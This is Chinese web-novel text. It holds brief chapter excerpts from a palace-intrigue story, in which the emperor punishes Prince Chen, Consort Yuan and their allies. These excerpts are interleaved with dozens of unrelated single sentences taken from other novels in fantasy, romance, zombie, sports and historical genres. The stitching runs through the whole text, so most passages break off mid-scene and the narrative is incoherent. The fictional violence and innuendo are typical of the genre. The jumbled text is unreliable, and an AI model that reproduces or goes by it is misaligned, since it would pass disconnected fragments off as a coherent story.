陈阳看了看,这才发现,原来之前被自己打拳破坏过的院子已经被修复了,甚至于那些花花草草也被恢复了。
洞中不知日月长,在彭子微赤手空拳能和曜石打成平手之后,隐老叫停了他们之间的比拼。
高木耸了耸肩,他还以为会有多大的动静呢,原来不过只是简单的振动罢了。高木的神情略微放松,而事情却并没有他想象中的这么简单。
两人倒在床上呼呼大睡起来,直到第二天早上,长颈族人敲门,洛何彬和宋杰才起来。
灰衫老头的神色变得扭曲起来,双目注视着李奇锋,散发出阴冷的气息。
长剑一动,强大的威势顿时爆发而出,直接将那巨大的手掌摧毁的粉碎,身躯蓦然一动,无尽的剑鸣之声响起。
他的脸上染满了鲜血,在夜幕下就像是地狱的修罗一般,手中的武士刀更是鲜血滴落,那膨胀的杀气让人不寒而栗。
第一卷 第243章 尘埃落定
“赵炳煜,赵玉麟,钟离洛,听令。”乾德帝不再看辰王和大公主。
三人上前。
“赵炳煜带皇城司的人把这些反贼都给朕押入大牢。钟离洛带人将辰王府围了,再把与辰王府相关府地都围了。
赵玉麟带人去把大公主府以及相关的人家都围了。
现在他已经搞定所有的股东,也胜券在握,就算墨灵要改换CEO,明天,股东大会上也只会选择他。
第二天醒来,沈语已经起床去弄早餐了,陈寻爬起来,想到了昨天晚上跟沈语干柴烈火的。
温妃捏嗫嗫嚅嚅,芝岚却徒生戾气,下一刻,她狠切拽住眼前人的双手,这力气可丝毫不像是病弱者能使出的劲儿,莫汐茹着实有些吃疼。
第二次,王若芸以骆森择的名义点了一个外卖,蓝阳阳吃了,造成火灾。
-他有必要立人设?盛世集团二少爷,盛世娱乐他也有股份,不高兴了分分钟就可以退圈。
三叔眯着眼睛,一副情理之中的表情,嘴角还带着一丝不屑,可三分之一秒后,笑容凝固了。
“去你丫的!老子不知道策马扬鞭多少年了!”陈寻不服气地这么说了一句。
至于最后一条,自然是暗指声乐cp过分高调,如果真的喜欢她,就不会只炒cp而不尽早官宣了。
苏野松开抓铁杆的双手,扭过头,冰冷的眼神里渗透着一丝嗔怒。
随着圣地圣子从各大顶尖势力离开,这些顶尖势力的掌舵人罕见地气得直想砸东西。
“学长还有更坏的,云清学妹你要不要试一试?”谭学长邪邪一笑,将莫云清揽着压向自己的灼热。
看着妮拉无比嚣张猖狂的样子,台下响起一片激烈的谴责声,台下众人都不是傻子,说什么刀剑无眼,任谁都能看出来妮拉方才绝对是故意地。
不过襄梦比她漂亮多了,当真的绝色,那种神情,让她想起了在梦里见过的华曦。
这个丫头,明显就是在骗人!她会来不及防御?呵呵……危险来的时候五感比谁都敏锐的人,竟然说她没来得及防御,真是太扯了。
这猛鬼高居太阳之下,没有任何的不适,其形态也跟人有八九分相似,最重要的还是她的眼睛,黑白分明,透着人性所特有的思考跟感情。
下一秒,场内响起了一片凄厉的惨叫,只见兽潮之中,银色甲片伴随着鲜血碎肉不时飞起,惨叫声连连,直听的人头皮发麻。
“那个,你们最好回去。再叫些人过来吧。”他承认他嚣张,反正就是来踢馆的,为什么不一次性解决呢?
叶晨闻言,看也没看凌梦夕一眼,而是面无表情的继续向前走,既然当初说了不合适,我又何必死皮赖脸?长痛不如短痛,与其越陷越深,不如就此结束,这样对谁都好。叶晨心里叹息道。
“她做了什么?”报应两个字,在她心里狠狠撞了一下,有种不好的预感。
诸葛铭所率的禁军虽然也是精锐,但终究敌不过火羽军。加上人数又少,心态上已经有些怯弱。虽然布下了坚实圆阵,但在火羽军的进攻之下,还是不停地后退。
如果不是逆鳞拥有五名B级觉醒者实力绝冠整个亚洲,镇守帝都的逆鳞之主凶名远播,那么恐怕花夏这边恐怕就已经不是失去大半个北域那么简单了。
第一卷 第244章 她的人生非常圆满
辰王被赵炳煜押进大牢后,赵炳煜并没有立即审他,而是无视他。
他直忙到天黑才回到王府。
而这一日,整个京城人心惶惶,十几家官宦和勋贵之家被查抄,一些小吏之家更不用说了,多达几十家。
青荀见司翎没有多说什么,也不再追问,为了不妨碍他继续探究这些事情,他连忙飞到了神树上,双手结印,低语念着些什么,不一会儿,一片鲜亮透着微光的叶子落在了他的双手上。
于佳佳还回去一个白眼,在她看来,佟筱娅完全就是吃饱了撑的没事儿干,萧飞是个什么样的人,她们这些旁观者都清楚。
“气质?见鬼的气质吧!在我们国家,这个词主要用来形容别人长得丑。比如我说,赛义德你长得很有气质,就是说你长的很丑!”龙飞笑着说道。
第二天,赵若知送陆水一离开禹州市,陆水一上车前朝着他微微挥手,纤细的手柔嫩心动,微微一笑可倾城。
陆丰再次坐回原位,看着摆在面前的套餐,实在不认为有什么吸引之处,可当李乐夫提及李静儿或许会喜欢这里,心里就莫名的好奇起来,甚至手不受身体控制,带上头套,优雅的品尝这人间美食。
“人类,别太嚣张!”阴面毒株一只利肢被王炎砍下,发出刺耳的嘶吼声。
武天锡带领手下的三十万大军,直接旁若无人的越过了两国的边境,在天华城的不远处安营扎寨。
萧飞让潘芸亮派人盯着,也没别的意思,就想看看,徐德谅现在和主流相声圈子是不是还那么亲密无间。
若是别人来了,或许会头疼,或许会聚数十人、上百人之力才能解决。
他贴着安全出口的门,心脏扑通扑通直跳,“咚”,他贴着的门发出了一丝响声,那声音不大,但是在安静的走廊里足够引起注意。
后来所有人把目光都放在于欣的身上,于欣随手抽过旁边的湿巾擦了一下嘴,看向他们嘿嘿的笑了两声,这才走到电脑前,随手这么一点,立刻确定了紫狐现在所在的位置。
皇城之内,并非人人都认识顾相,有许多人听过却没机会见过,毕竟顾相不会闲着没事天天出门走在街上,外地来的人更是不会认得他了。
凤舞怔了怔,辛十的慌乱和害怕不是装的,却不解,自己和他认识才多久,他怎么会对自己这么依赖?难道真的是因为自己和他记忆中剽悍的母亲很相似?
晚上,瓶子又亮了起来,她再次服下液体。这次她找回了原来世界的记忆。
“所以说那个夏承远的妈妈和我妈妈长得一模一样?”安之承很聪明,自然也可以猜到什么了。
所以,一直到现在,龙苑中最受瞩目,最强的九尾兽焰杀,不管又多少龙母惦记着,都直至今日还没有子嗣。
排场摆得很大,墨千寒从不限制她们自由,但要出宫,必须按照规矩来办,私自行动是绝对不允许的。
她知道,这一切都要从于欣突然出现在将军府开始的,一切都从那个时候开始变的。
“因为娘亲说梅花开自苦寒,性情高洁,菊花清新素雅,一般只有与之性情相似的人才会喜欢。两位姐姐这么喜欢梅花和菊花,把整个园子都种上了这种花,肯定是因为两位姐姐和它们性情相似。”凤煜一脸理所当然的表情。
第一卷 第245章 辰王死
当辰王看到这些东西时,眼睛睁得都要凸出来。
“怎么可能,你是如何拿到这些东西的?”
至此后,仙不下凡,凡不修道。有功者入幽冥界,有德者入天界,诸教道统绝于人间,成为传说。
夜行义贼惊恐的喊到,他运气非常不错,刚好处于一处安全点中。在他四周的队友们都在受到了这一次的攻击下全部死亡。
看这个房子的装修和周边环境,这个价格在这个地段不但不贵,甚至还有些过分便宜了。房子太贵她是租不起,可是这么便宜,楚笙歌也不踏实。应该不是房子有什么问题吧?
矮人战士莫格里跳下鹰背,手持黄金剑,满面怒容看着向自己冲来的钢铁骑士团成员。
渔夫见阿斗竟然不退反进,心中吃了一惊,本来渔夫就是准备逼退阿斗,然后让樵夫起来,三人凑在一起,配合起来才能够发挥最大的威力,但是却没想到阿斗竟然冲了过来。
“你最近有回过b市么?我差不多有一年没有回去过了,那边变化大不大?”秦若男仿佛没有看出来李放的抵触情绪,又好像是一下子遇到了同乡,所以表现的格外热切。
幽夜寂静,院子里的人都已睡下,东厢还亮着灯,窗上影影绰绰地勾勒出一道暗色的剪影。
看到徐清凡那一脸的苦笑,金清寒并没有追问,而是默默的看着徐清凡,等着他的讲述。不得不说,金清寒虽然一向少言寡语,但却一直是徐清凡最好的倾听者。
隐隐约可以看看到,这一个个聚集之人,也是分成了明显的几部分。
楚笙歌这么急着离婚,其实也是不想谷阳被卷进不必要的麻烦。她太清楚路尘寰的处事风格了,如果路尘寰这次是针对她来的,自然也不会放过谷阳。
陆俊和一些大臣领命连夜去安排了,不过想找到这些人,恐怕不是很容易,他们在这长安城里面肯定有秘密的去处,而且还有内鬼帮忙。
“皇上,必须让陆玉停下,在不能杀人了,现在长安城中的百姓可是个个恐慌现在大家连门都不敢出了。”一个胡子雪白的老头战战兢兢的站了出来,有气无力的说道。
时光匆匆,百年的岁月让这位曾经意气风发的王子,成为了迟暮的老人,斑斑白发,预示了他的年迈体衰。
“困魂制灵?”何武把那册子上的四个大字一念,人就看向名老了。
她当然知道周明现在跟她说这些的目的,而且是极其认真的态度。
偶尔之间,树干之上传出来几声鸟的啼鸣,在这片幽邃的丛林中久久回荡。
等飞剑被头发顶住,停下之后,张寿良等人也看清了飞剑的样子。不过这除了让他们更加确信云月生非人类以为,也没什么太大的意外了。
至于为什么,当然是因为周明怕引起老爷子的震怒,怕破坏掉自己在老爷子面前的“五好”形象,那到他初中毕业的时候,就别妄想得到想要的自由了。
一直到钱潮叫地甲回营,也没有接到通知要迎哪个大人物。地甲站起身,就随大家一起回去。直到深夜,由仙力形成的金鳞耀日赤须龙,才从周围空间中聚集到足够仙力,恢复了以往颜色。
第一卷 第246章 一一处罚
“炳煜,扶朕去看看。”乾德帝撑着手就要起身。
赵炳煜立刻扶着他站起,可乾德帝的身子还是晃了两晃。
两人来到天牢,曹达早已等在此处。
辰王的尸体已经被抬出来放在一张软榻上。尸体已被擦拭干净,衣服也已换好。
许靖川在许府的威严很大,要是他不这样,许府早就完了。他要撑起这个家,就不能对这些破坏他家庭的人到处兴风作浪,他要守护起这个家,不管付出任何代价。
徐一鸣说到做到,去前台拉开抽屉之后,便数了一叠钱拿在手上。
至于养元丹和固元丹这更高一个层次的,哪怕对于现在的杜威都是十分的有用处,更不用说他们了。
第二门更是可气,楚泽酗酒,直接将人家姑娘的爹给打了一顿,可想而知亲事也退掉了。
距离火炉最近,然而黄锦此刻的心里却拔凉拔凉的:原本打算是一次简单的面圣,现在看来,一时半会是结束不了。
尹雪与云照走在出宫的路上,六角宫灯照亮了青石板路,云照回头望了望颐康宫的方向,掩去眸中的不舍。
让都察院的人到盐课衙门来不多见,或许这也正是有某种深意的。皇帝朱载垕曾向仲逸说‘一粒盐而知天下’,如今看来,他是容不得盐务再出半点差错了。
董林离开了包厢,在座的人继续聊着天,男的要么谈赌博,要么谈股票,豪气得很。
陶雯儿之前想过多种关于凌云山的景象,连同山上每人的生活,如今终于找到了这里,也终于明白自己所要选择的那条路从来都没有错。
“看你现在怎么搞事情!”徐琅殷走上前,捡起一块石头,狠狠就朝着蜘蛛的眼睛砸过去。
秦秋正在盘算,一只血纹红狮突兀地从阴影中钻出来,张开血盆大口撕咬秦秋。
这事儿要是闹到秦大帅那里,甭说是沈明珠,连她这个当家主母也会一并挨罚。
叶青云刚发力,便有恐怖的力量爆发,如同惊天海啸一般,瞬间淹没了血飙。
等他细细审视过后,眼前人又没有任何掩饰装扮的痕迹,不存在是戴上了人皮面具,也没有用改变嗓音的药物。
薛海感觉心里沉甸甸的,不知道为什么,就是觉得这件事情并不像吴楠楠表现出来那么轻松。
姜尤松开握住紫金长剑的双手,直面袭来的无尽天地恶意,毫无惧意,反而哈哈大笑。
我自私怎么了?我只为自己这边谋福利怎么了?我该你的吗?我还有错了?
下一秒,司南枝打开包儿,在沈明珠惊喜、奸诈逐渐变成惊愕、失落、惊慌的眼神中。
如果一旦失败了,那么宿主得到的只是两个没有什么太大用处的法则感悟,还得加上红云这个优柔寡断的家伙。
刘大义和罗镇清两人使出了吃奶的力气,冲锋在前,只为能够率先拿下萧火的人头。
但在如此密集的箭矢之下,他们还是难以躲避,许多人当场就被射成了刺猬。
混沌之中,时间不经年,盘古身体不断成长,原来的混沌状态不能容纳其身体而分裂。
不过它此时的状态十分不好,张松刚才担心这蠢蛇伤到人参,所以那一掌稍微用了点力;现在这异类整个身躯不知道断成几截了。现在一半身体挂在树上,另一半无力的耷拉在地上。
第一卷 第247章 乾德帝的情之所归
乾德帝陷入久远的回忆之中。
“我的名字叫做苏羽,从今天开始就是你的老师,你不能拒绝,只能够接受。”苏羽伸出了手道。
这老乞丐得到情报后,一掌拍死了杀手,随后千里奔袭,将雇凶杀人者格杀当场,扬长而去,留下了一断千里追凶的传奇故事。
他不想一下子暴露自己。要不是目前宗门建设缺钱,他都不会在这里销售这两种丹药。他也没有想到这两种丹药销售这样好。
整个东玄域,超脱境武者恐怕连五十个都不到,但仅仅金蝉地窟,超脱境武者就已经达到了十几人,这还是明面上的,谁知道暗地了还有多少超脱境武者。
按照他想的,先把灵石拿到手,至于后面冯安义怎么想,那都是冯安义的事情了,反正灵石在自己身上,不怕冯安义不去,不去自己也白拿了1000万灵石,这种好事哪里去找?
为了尽量逼真,这张脸沟壑纵横,下颌上还生出条条根须,看着好像一个长胡子老者。
修炼者经常要吃丹药,如果没有相应的解毒丹,长久下去,便会对修炼者不利。
一道白色光芒从刘军的手飞出,凝炼成一把锋利的刀,严世光的头部砍落,严世光震惊,赶紧用剑向上一挡,可是仍然无法抵挡,被刘军的刀从头向下砍下,一分为二。
这样厉害的鬼魂,真的不简单。要是他们,连一个攻击都没有顶得了。他们心里佩服刘军的厉害。
屠龙城中的凡人百姓乃是魔剑宫的根基所在,失去了这些百姓,魔剑宫从哪里收徒?
他对机械之心的运用越来越娴熟,计算推演能力也提升到了一个匪夷所思的地步。
“我们是特工,不是细作。”翠花掏出一根针管往金翎手臂上扎去。
沈丰审视吐槽着自己,心里不知为何空洞的厉害——那是一种遗忘的空茫和孤独,与此相比之下,她对德玛西亚的迷恋更像是头脑发热的产物。
原是兽皇的修为境界已经跌落至八级,并仍在继续下跌。七级,六级,五级……若到妖力散尽,便再难生还。
一瞬间,这位很少出动的老剑神,皱着眉,第一次起身帮忙抓采花贼去了。
这种挑衅,并不会让秦振华感觉到任何的愤怒和恼火,相反,秦振华对这种竞争,是比较欣赏的,只有竞争,才会有进步。
贴在三生石上的九张血符也没能幸免,直接在爆炸中灰飞烟灭,刚刚打开的虚门也随之崩灭。
正当所有人都以为这是一首曲调优雅唯美的古典歌曲时,忽然慢悠悠的旋律开始加速。
李冬梅也不意外,把人客客气气送走,便又回到了卧室里,继续看着碧莲。
但是今天已经忙活了这么久,也没见她们吱上一声,这着实有些奇怪。
袖红雪与缘自胜观的战斗进入了白热化,袖红雪稳占上风。缘自胜观身上的衣服多处损坏,但却未伤分毫,可以自胜观也非泛泛,但最主要的原因还在袖红雪本身。
第一卷 第248章 袁贵妃的疯狂
袁贵妃本就睡得不安稳,睫毛颤了颤,慢慢睁开眼睛,看到是自己的贴身宫女。
“云杏,是不是有辰王的消息了?”袁贵妃带着希冀。
“娘娘,皇上来了。”宫女轻轻揭开被子,准备扶袁贵妃起来。
一听皇上来了,袁贵妃激动得猛地坐起,当真看到了她日思夜想的皇上。
并告诉我,一开阴阳眼,便是道中人,此后没有回头路,我命由我不由天!
赵龙不动了,但依旧是倔强的抬着头阴森森的盯着我看,不甘心又无力。
“你去哪里了?”木秀刚踏进宿舍,梁瑶就一脸狐疑的看着脸颊通红的木秀。
千夫长向城门正上方打出一道法诀,虚空处立时便出现了一个凹槽,而后他将金色令牌按入凹槽之中。
“我奶那边怎么说?我哥能找个好工作,我奶应该比谁都上心吧,她那样爱争风头。”木红巧奇怪的问道。
眼前的这一幕让我目瞪口呆,在对儒家术法有了更深层次了解的同时,也是愈发心怀向往!
从请帖送出去到夏颜回来的这段时间里,莲儿不止一次的想象着夏颜失去至亲的痛苦模样。
深深看着钟锦身形,紫裘林相助的那一波人里就有此人,双眉紧蹙。
再提到他时,我不用再刻意回避,美好也罢,伤心也好,都已成为过去。
如果我记得不错的话,十七岁那年我拿着弹弓像往常一样去打鸟,以前总是百发百中,弹无虚发的我却失手了。
顿时间,崩裂般的‘喀嚓’声音不断,是凝如固体的黑光柱在碎裂,在崩溃,它经受不起天地之鼎的震动。
而楚箐涵,则是摇摇头,把注意力放到了姜凡身上,继续给姜凡检查的身体。
蓝悦银牙一咬,大骂一声,手掌轰然抬起,体内灵力运转,注入手掌之中,化作磅礴澎湃的雷力,在掌心之处闪烁着雷光。
罗日心的声音冰冷,或许是因为太生气的原因,每个字都咬牙切齿的。
飞兽并不大,所带的人毕竟有限,当然,扶幽也不觉得自己需要带多少人前去见允王。
因为他的不上进,古武界除了极个别资质极差的人,和他同龄的,随便拖出一个来,都足以轻轻松松把他打的他爸爸都不认识。
瞧得这一幕,在场不少对白梓敬这一击有所了解的萧族之人顿时变了脸色,就连双方高层之人,此刻也都是将目光牢牢锁定在了场中两人的身上。
赵师弟,急忙闪道“别别,别!”一阵求饶。这沿路看来没少长辈师兄责罚。
显然,魔虎尊很高兴,也很兴奋,他都想去摸一摸,再次,道“谢圣主恩赐!”魔虎尊,言落退到一旁。
伴随着他滴落的血液和天地间狂躁的灵气灌入,弑罗鬼戟上的乌光,刹那间就是笼罩了半片苍穹,古城之下再也看不到半点的阳光。
盛棠见状,又想起了她的狗乐乐,每次她开工出门,乐乐都是那副泫然欲泣的表情。
九月五号可是万众期待的逐梦江南选手和红袖添香歌曲连线的日子,谁拿到了排名更高的曲子,那夺冠几率就越大,所以这个阶段基本上就是最终排名争夺战了。
大荒域想要在短短两三年内有新的神台境强者出现,这简直就是痴人说梦。
这些粉丝团里的成员,几乎都是不差钱的主, 在各路粉头的召集下,从全国各地, 甚至海外飞来到这里。
第一卷 第249章 让袁贵妃死个明白
因为刚刚上山的时候那个科木硕已经告诉叶香他们。寨主找他们的原因,是以为你寨子里面有几个被感染的人。如今。因为亲人的关系,只是关了起来。并未杀掉。
然而福芸熙失望了,宫逸轩虽然每日都来看她,但是她却没听到应采莲的消息,难道宫逸轩没有调查吗?
葛舫看上去年纪不打,大约也就十七八岁的样子。这么一个漂亮的少年,他们是怎么忍心把他卖去做试验品的。
“你觉得汐妖这么做是为什么?”昊天淡淡问道,不再重复方才的话。
“于瑶,我想你也是不知道。你带我去找你师父吧。”叶香说。她要找到苏果,只能跟于瑶才能找到孟渝。
这话一落,她真的忍不住了,抽泣着抽泣着,又哭了,幸好她不是寒冰,否则这人界怕是要遭殃无数次了吧。
这一路上,路上不时遇到其他幸存者的车,于是大家也都心照不宣的一起合作清路,杀丧尸。
燕傲男瞥见自己的衣衫不整,当下懊恼之极,恨刚刚疏于对菲菲的防范,此时愤怒地集中力量到双腕之上,想要震开这双桎梏住自己的手铐。
白头翁汪先生,恋恋不舍地看了眼这边的木头美人,却明白只要眼前这只拦路虎在,想要把她弄上手的几率绝计不高。
君靖轩被晾在一边半天了,看到清荷跟苏明哲他们聊着起劲却唯独没有理会自己,君靖轩不禁心中很是后悔不该带着三个损友一起过来的,此时见清荷得了空闲是以借着要学算盘以期唤起清荷的注意。
他一说出这句话,我哪里还敢继续质疑。不是我不信他,主要是当时江阳说漏嘴时的表情实在不像是诳人。
“很苦是不是?等喝完了给你吃蜜饯好不好?”陆五唇角勾起一丝淡淡的笑意,又勺了一勺送到杜若的嘴边。
记得有一次生病了,师傅一定要让她去把一条猪仔敲的半死不活,只为了取那最好的一块肉。
短短时间里,人类占据了先机,目前在七大战区中六个战区都设立了基地。
这位从信仰之中诞生而来的神祗,真名早已经无人知晓,但主神却知道的清清楚楚。
多么幼稚多么不成熟的一句话,但这句话却代表了冥王夜枫此时的心情。
他自己没有做长辈的样子,到头来却倒打一耙,我越想越不是滋味。
王坚和高园都是见韩振汉如此郑重,都赶忙点头应是,对于大理的战争,最上心的莫过于高园,和高琼姐弟,所以高园怎么能不点头。大理对于高家,或者说对于白族来说都是一个巨大的心结。
“刚刚那个是?”王也自身检查一遍,却什么也没有发现,但他知道自己身上一定被眼前这人做了手脚。
风雪城,这座大陆南部具有一定名气的大城池,在经历了不久前,王家被灭一事后,开始了一连串的重大变故,使得如今的风雪城势力格局,出现了极大的变化。
代表着这是一头头堪比寻常地级境界中层强者的境兽。然而就是这样的境兽,竟然被李天阳一人,斩杀了两百多头,夺得了两百多颗这种等级的境晶,这,如何能不让众人为之一片哗然?
众人脸上满是笑容,融丹进行的非常顺利,照此下去,恐怕要不了多久便能炼成此丹。
听到这锦袍中年的话,其他的十几位半帝强者,一时间心中都是不禁暗骂其狡猾。
而且那个同事的儿子,着实不是个省心的家伙,惊颤的打架斗殴,让他这个警察老爸,丢尽了颜面,省城各个区的派出所,都游览过。
今天本身只是简简单单地在KTV唱K,但是谁也没想到,在他们酒过三巡之后居然会发生这样的事情。
高兴的李艳芳留下眼泪,他拿起身边的电话,拨通一个熟悉的号码。
“哈哈……依依是人见人爱,花见花开……自然漂亮!”秦阳厚着脸皮也是一阵胡诌了起来,瞬间暴露了本性。
通道口两端,关键时期驻守着的不是别人,正是每一圆环的大巫师。
却是轻功不如西门飘雪,错了一点时间,也如失之毫里,差之千里。
他没有想到,发生在肥皂剧里面的剧情,竟然是在现实社会中发生了,这一切都显得,恩,太不真实了。
美丽的王菲雪一下车,顿时就成为了一道靓丽的风景线,引起了阵阵惊呼。
不过,他现在受了伤,而且对方实力在自己之下,他只能忍下了。
梅雪莲也感觉到了冷无情对自己的杀意,不过她并不是很介意,毕竟她的实力摆在那里,根本就不惧冷无情。
就在这时,狭长的过道上传来,几声急促的脚步声,几个记者模样的人扛着摄像机和话筒赶了过来。
为什么,曝光太少了,没有曝光,大家怎么可能认识他,不认识,人家广告商怎么可能能找你来代言?
契科夫相信叶梵天,这般相信那是无比的信任,没有丝毫的怀疑,因为契科夫很是清楚,自己这一条命都是叶梵天的,他没有理由去骗自己。
第一卷 第250章 一死一放
“让你死得痛快些,免得你害怕挣扎,让林公公不好下手。”
霍凝玉用帕子擦了擦手,起身走了出去。
赵炳煜立刻上前握住她的手,眼含担忧。
“什么事都没有。”霍凝轻轻拍了拍他的手,“林公公,袁贵妃已经晕过去。你进去吧。”
她又向一直等在一旁的林德全道。
没有一见钟情的爱情,只有水到渠成的感觉,苏羽和颜轻语或许就是这样。
方晓回头给了王子君一个禁声的手势,两人都屏住了呼吸,仔细的听着周围的动静。
杨国忠阴沉着脸,给儿子使了一个眼色。杨腓登时会意,恭敬的走出门,守在了门外。
而没过多久,身后便传来了齐齐整整的踏步声,紧接着,鬼道士也来到了门口。
她与商钰的感情也与日俱增,不知不觉人也经历了不少事情,自从商钰和沈父沈母摊牌后,虽然被未来岳父和未来大舅子翻了好几个白眼,但终究还是成功的抱得了美人归,自此,两人再也没有在任何场合遮掩过自己的恋情。
时空乱流,九天罡风在它面前都是等闲,横冲直撞而行,毫无畏惧,并未用多少时间,便出现在‘九天圣宫’之前。
血衣堂还有三人存活,眼下失魂客和戏法师一死一被抓,他们正在张权的带领下打扫战场,收拢毒物和散落的暗器。
已知心理阴影面积和心灵创伤有关,求亚历山大·皮尔斯的心理阴影面积。
“是你!是你!都是害的我,要不是你我早就和霆在一起了,我迟早能成为未来的族长伴侣!”骤然听到青羽的声音,菲娅被刺激的狠狠一激灵,接着深入骨髓的狠占据了大脑。
明老太太非常相信叶琛,也不需要用股份来困住叶琛,叶琛想退就退。
好在草坪质量好越容易适应,阿森纳也进入了状态,与上一次欧冠决赛一样,开始了他们的防守,为什么不一开始就坚决执行全场压迫的战术?很简单,那个太耗费体力了,这场客场比赛,保守一点为妙。
“怎么啦?图哈切夫斯基同志。您怎么又在叹气了?”李维诺夫有些奇怪地看着这位红军总参谋长,从莫斯科过来的一路上,图哈切夫斯基的心情似乎就差到了极点,不停唉声叹气,好像现在打败仗的不是法国而是苏联似的。
稀稀拉拉的口号声从牛鬼蛇神们的口中喊了出来,不管他们内心是怎么想的,但是面子上的功夫还是要做一些的,毕竟枪杆子还在那些干部们手中握着呢。
那种明媚,张扬,不显做作的笑容在那张淡雅明净的面庞上,竟是说不出的和谐好看,陈方平竟然看呆了眼睛。就连那份讥讽都被他的潜意识给自动忽略。
原来他们是红三十四师的断后部队,面对中央-军的阻截和桂军的追杀,他们的处境越来越危险,特别是他们边打打撤到湘江边上时,中央-军已经在江的对岸修筑了战壕和工事,重兵把守的湘江根本无法渡过。
“有。”家中只有一位老父,身为长子的胥安自然会时常牵挂。不过他相信自己的妻和弟媳会照顾好,也相信有将军府的照拂,老父不会受到一点委屈。他唯一要做的就是,保护好李御的安危,用生命去捍卫他肩上的责任。
第一卷 第251章 大公主挨打
当她听到辰王自戕的消息时,被吓得整整做了三个晚上的噩梦,梦见自己也受不住苦,做出了与辰王一样的选择。
同时她还梦见,辰王登基了。
辰王事前答应她事成后,允她和离并嫁与秦郎,可是他却反悔。让她和秦家都白忙活一场。
要知道自己的修为精进并不慢,她现在是道门四品的元婴,今非昔比了。
“谁要和黑粉近距离接触了?坑我一次不够,还要来几次?”安晰勤给了浅渲一个白眼,顺势还离浅渲更远了一点。
“有一天它被雷劈着了,我们前去查探,它自己告诉我们的。”付岚接过程立的话头道。
蓝宝宝对着他“呵呵”一句,却又因为他那句“我来伺候你梳妆”而心情大好,仰着嘴角重新回到房间里。
那该是多么赤裸的打脸?林孝智不敢想象下去,憋着一腔怒火不舍发作,就这样静悄悄的等待着他的回复。
“老头子,别看了,都没影儿!”宁欣抬手在付茂面前挥了挥,示意他回神。
这壮汉压根不是真心想买琼液露精华,就是为了跟在他后面加价,等他一个冲动把价格抬高以后再放弃呢?
想当初在自己的夫人离世之后,自己也曾生无可恋找不到半分活下去的意义和勇气。
所有人的神经全都死死的绷紧了弦,根本不知道接下来该怎么办。
林清知道,什么所为“权宜之计”,什么“好钢用在刀刃上”,对于一个真正有责任心的警察来说,根本全都是无稽之谈。
而项霸王与妖姬,却是突然出现在洛神边上。霸王长枪捅入洛神腹部,妖姬之泣洞穿洛神胸口。
然而感慨感悟人生,都只是暂时,就算知道了这些大道理,一旦欲望依旧存在,所有道理,都可以非理。
“去哪里了,”苏言湛抽了一口烟,有些烦躁的揉了揉自己的电话,打了好几个都没接之后,他打了余磊的电话。
洪蒙同样不说什么,毕竟大家在斗转星系混了这么久,交锋没有十次也有七八次了。该了结下彼此的因果了。
听夫人的声音,他知道,善良的夫人早就做好了这样的准备,所以,他只能答应。
李海让刘慧雯把公司帐面的资金,全部转到自己的股票帐户上。又打电话给徐季萌,让她分别购入千山药业、经开发展和津达矿业三支股票,并且详细叮嘱了每支股票购入的钱数和时间窗。
可人家陈傲雪才不会去在乎那么多,在感受到洛宁那没有丝毫敬意,直勾勾的打量目光后,心中下意识就生出一股厌恶感。
“这是?”铁剑看着白羽询问道,因为白羽的表情说明了她听的懂。
南吟泓轻轻拍了拍花心,给花心使了个眼色,花心便没有继续追问下去,提步跟上了往回走的蔺公。
林盛于其身旁不知该如何开口,现在想想钟姑娘经历的悲伤之事简直恒河沙数,林盛不敢也不愿往深处去想,他欠她太多太多,可又能如何,情,若生出,必要坚守。
当佛陀彻底的消失在了我的面前之后,我终于能睁开了眼睛,看见着我眼前的天花板。还有柳龙庭一张白皙的脸。
齐天宇微微有些惊讶,看来这个田风确实是一个不一般的人物,他当年在田家一定十分的有地位。
第一卷 第252章 谢正阳死
“夫君,可是我想去。”霍凝玉抓住他的胳膊撒娇。
“你是想看谢正阳怎么死吧?”赵炳煜还不知道她什么目的。
空旷幽远的大殿内,一名身着苍青色蟒袍的阴寒中年凭空而立,身前浮动着一枚古老的龟甲,上面密密麻麻地篆刻着奇异的纹路。
炎七看着这一幕也是十分之惊讶,眼睛瞪得跟牛眼一般,里面充斥着惊骇。
所以现在他得要重新绷紧自己的那根放松休假的警惕神经,以应对接下来的考验,成功他活下来,继续他的旅程,失败则一切皆化作泡沫消散。
一声巨响,数条足有两人合抱的粗壮巨藤如崩天一般倾轧而下,地面疯狂地颤抖起来,烟尘弥漫,无数树木倒塌。
无论如何,现在的梁山匪徒们已经是站有站相,坐有坐相,走起路来各个虎虎生风,说起话来人人声音洪亮,有了点后世军人的风采。
张元昊掌心倏地浮现一柄高阶灵器法剑,燃烧炽烈紫火,与此人身后剑光一碰,发出一声清脆声响,一股巨力顺着法剑蔓延到手腕,令他虎口发麻。
至于昆山岛除了来自明玉海的威胁外,并不需要太过在意,毕竟有诛神灭魔大阵,还有幻之大阵的双重防御,无需太过担心。
汪洋神力,铺天盖地,所过之处虚空都被冲散,到叶晨的近前之后,突然间变化成一只金乌,撞击在镇凶鼎上面。
将其吸入到近前,他的手已经触碰到了,那犹如大蜈蚣一样的头顶之上,后者却是一动不动,更为准确的来说,是用极其缓慢的速度在移动着。
“这个鬼地方还真特么的见鬼了,怎么有那么多的人都过来了?”韩宇非常不解的想到。
韩宇只知道黑龙会很厉害,但是没有想到它们竟然这样正大光明的跟踪自己。
据说,他在加入云霄宗的时候,因为体弱,倍受欺凌,是轩辕烈一力护着他。
“柳红,怕了吧。敢说我是猪,我这头猪今天就把你变成猪食。”晶晶狂道。
一边在房头飞掠,精华一边感叹着,同时还打开了讨论组的聊天窗口。
此时的卡洛斯已经不错样子,身上的毛发几乎都被烧焦,黑糊糊的一片。
谁料就在这时异变突生,当叶染【控心术】撤去的瞬间,那恐怖的黑雾突然又笼了上来,叶染再想反打已然来不及,一圈圆形的屏障突然绽放开来,连带赶来的格尼斯一起顶了出去。
伊颜这一掌肯定不会是全力打出了的,我还不信她今天真会做出什么让人觉得不可思议的事。
这殿中妖邪不是本门干部便是他处请来的高手,个个身怀绝技本领不俗,最次也是那十六鬼众的级别。
当然啦,用灵际的话来说,白衣服也好白皮肤也罢,都是为了包装他那颗异变腐烂令人恶心作呕的内心。
我几乎是分毫不差的,将梦里的事情一五一十讲给了萧彤姐姐听,萧彤姐姐越听表情越是严肃。
江白晨拿起自己的U盘,听见这句话一皱眉,目光中对墨翎羽表现出深深地不满和讨厌,一转身向外走去。
第一卷 第253章 想到一个人
“表妹,表妹夫,你们怎么来了?”霍凝玉看到钟离洛夫妻,心情瞬间高兴起来。
她几步过来拉住容琳媛的手。
“见过王爷,王妃。”夫妻俩见礼。
